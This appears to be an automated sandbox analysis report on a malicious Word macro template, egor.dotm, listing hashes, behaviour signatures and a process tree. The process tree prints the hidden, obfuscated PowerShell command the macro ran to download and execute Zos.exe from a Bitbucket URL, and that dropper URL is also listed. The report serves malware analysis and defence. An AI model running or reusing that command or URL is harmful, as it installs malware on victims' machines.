Analysis

  • max time kernel
    104s
  • max time network
    32s
  • platform
    windows7_x64
  • resource
    win7-20230220-en
  • resource tags

    arch:x64arch:x86image:win7-20230220-enlocale:en-usos:windows7-x64system
  • submitted
    16/06/2023, 18:36

General

  • Target

    egor.dotm

  • Size

    14KB

  • MD5

    adccb9016b434427cd125ae841d1baaf

  • SHA1

    56aa1a0e7b1ba0d2714be1e36d4a59ca4ca8a05d

  • SHA256

    d6cdc6b64b477100f73ffa15b1fe7597e3a6c81431b527bc766f7bab27701e8b

  • SHA512

    9b4fbb5f16570c7a5165a53ffab8680db2122e3040ed411358f2a4fee2d8a24d525ab430651b0c1d1f93f8b7471b8ba9f7b58a96b167e5245a082a0d51c35c62

  • SSDEEP

    384:tmtl44XewvWv7lC78WQ6Su6akwLWdxdFYB3w:ql44XHvWTu8mSzakw6LqG

Score
10/10

Malware Config

Extracted

Language
ps1
Source
URLs
exe.dropper

https://bitbucket.org/damnman/damn/downloads/Zos.exe

Signatures

  • Process spawned unexpected child process 1 IoCs

    This typically indicates the parent process was compromised via an exploit or macro.

  • Drops file in Windows directory 1 IoCs
  • Office loads VBA resources, possible macro or embedded object present
  • Modifies Internet Explorer settings 1 TTPs 31 IoCs
  • Modifies registry class 64 IoCs
  • Suspicious behavior: AddClipboardFormatListener 1 IoCs
  • Suspicious behavior: EnumeratesProcesses 1 IoCs
  • Suspicious use of AdjustPrivilegeToken 1 IoCs
  • Suspicious use of FindShellTrayWindow 2 IoCs
  • Suspicious use of SetWindowsHookEx 2 IoCs
  • Suspicious use of WriteProcessMemory 8 IoCs

Processes

  • C:\Program Files (x86)\Microsoft Office\Office14\WINWORD.EXE
    "C:\Program Files (x86)\Microsoft Office\Office14\WINWORD.EXE" /n "C:\Users\Admin\AppData\Local\Temp\egor.dotm"
    1⤵
    • Drops file in Windows directory
    • Modifies Internet Explorer settings
    • Modifies registry class
    • Suspicious behavior: AddClipboardFormatListener
    • Suspicious use of FindShellTrayWindow
    • Suspicious use of SetWindowsHookEx
    • Suspicious use of WriteProcessMemory
    PID:1304
    • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
      C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe -WindowStyle hidden Start-BitsTransfer -Sou https://bitbucket.org/damnman/damn/downloads/Zos.e`xe -Dest C:\Users\Public\Zos.e`xe;C:\Users\Public\Zos.e`xe
      2⤵
      • Process spawned unexpected child process
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      PID:1688
    • C:\Windows\splwow64.exe
      C:\Windows\splwow64.exe 12288
      2⤵
        PID:332

    Network

          MITRE ATT&CK Enterprise v6

          Replay Monitor

          Loading Replay Monitor...

          Downloads

          • C:\Users\Admin\AppData\Roaming\Microsoft\Templates\Normal.dotm

            Filesize

            20KB

            MD5

            423f187c8f4e6b1b0793c30c80382ca1

            SHA1

            fd80fc906f486696f860ead359b3246919d14ba8

            SHA256

            0a58302a1ef231d8236558154c40367eff971e8917e19a5e0fa784b65171b751

            SHA512

            442dd64c965a767f61ddab94e9f4cc8d8e11bdc66a5a1a611de1d5895c06cf5967d6c4355c4e5b20b3dcec6b9c214d2845b6a3128d2183ed6923bf769c6dfc8b

          • memory/1304-54-0x000000005FFF0000-0x0000000060000000-memory.dmp

            Filesize

            64KB

          • memory/1304-57-0x00000000004C0000-0x00000000005C0000-memory.dmp

            Filesize

            1024KB

          • memory/1304-58-0x00000000004C0000-0x00000000005C0000-memory.dmp

            Filesize

            1024KB

          • memory/1304-86-0x000000005FFF0000-0x0000000060000000-memory.dmp

            Filesize

            64KB

          • memory/1688-62-0x00000000027B0000-0x00000000027F0000-memory.dmp

            Filesize

            256KB

          • memory/1688-64-0x00000000027B0000-0x00000000027F0000-memory.dmp

            Filesize

            256KB